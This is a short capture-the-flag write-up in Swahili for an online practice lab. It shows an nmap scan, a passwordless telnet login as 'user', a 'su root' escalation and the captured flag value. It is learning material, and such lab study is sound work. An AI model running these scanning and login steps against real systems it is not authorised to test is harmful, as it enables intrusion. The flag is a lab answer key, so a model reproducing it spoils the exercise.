

Write-up: Nmap comand lab_23/tcp open telnet

Author: Mr system

Lab Link: <https://hackerdna.com/labs/learn-102>

| 1. Network Reconnaissance (Nmap Scan)

Kazi ilianza kwa kufanya uchunguzi wa mtandao (Reconnaissance) ili kubaini milango iliyo wazi kwenye target IP.

```
[live@parrot]-[~]
└─$ nmap 34.253.183.190
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-19 02:42 UTC
Nmap scan report for ec2-34-253-183-190.eu-west-1.compute.amazonaws.com
(34.253.183.190)
Host is up (0.25s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
23/tcp    open  telnet
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 18.54 seconds
```

Ufafanuzi: Nmap iligundua milango miwili iliyo wazi: **23/tcp (telnet)** na **80/tcp (http)**. Hapa ndipo mdukuzi anapopata mwanga wa kuanzia; uwepo wa Telnet ni ishara ya udhaifu mkubwa wa kiusalama katika itifaki ya mawasiliano.

| 2. Exploitation (Telnet Service)

Baada ya kugundua Telnet, niliendelea kujaribu kuingia kwenye mfumo.

```
[live@parrot]-[~]
└─$ telnet 34.253.183.190
Trying 34.253.183.190...
Connected to 34.253.183.190.
Escape character is '^J'.

ip-10-0-1-125.eu-west-1.compute.internal login: user
```

Ufafanuzi: Katika hatua hii, nilijaribu majina ya watumiaji kama admin na toor lakini hayakukubali. Hata hivyo, nilipojaribu kutumia user, mfumo uliingia moja kwa moja bila kuhitaji nenosiri. Hii ni dosari kubwa ya kiusalama (weak configuration) ambapo akaunti ya user haikuhitaji ulinzi wowote.

| 3. Privilege Escalation

Baada ya kufanikiwa kuingia kama user, nilitafuta njia ya kupanda mamlaka na kuwa root.

```
ip-10-0-1-125:~$ whoami
user
ip-10-0-1-125:~$ su root
Password:
/home/user # whoami
root
/home/user # ls
flag-user.txt
/home/user # cat flag-user.txt
f47ac10b-58cc-4372-a567-0e02b2c3d479
/home/user #
```

Ufafanuzi: Niliandika su root ili kupanda hadhi. Mfumo uliniomba nenosiri, na kwa bahati nzuri, niliweza kuingia kama root (msimamizi mkuu). Baada ya hapo, nilipata ufikiaji kamili wa mfumo, nikaona faili ya flag-user.txt na kuipata bendera (flag).

| 4. Hitimisho na Bendera

Flag iliyopatikana: f47ac10b-58cc-4372-a567-0e02b2c3d479
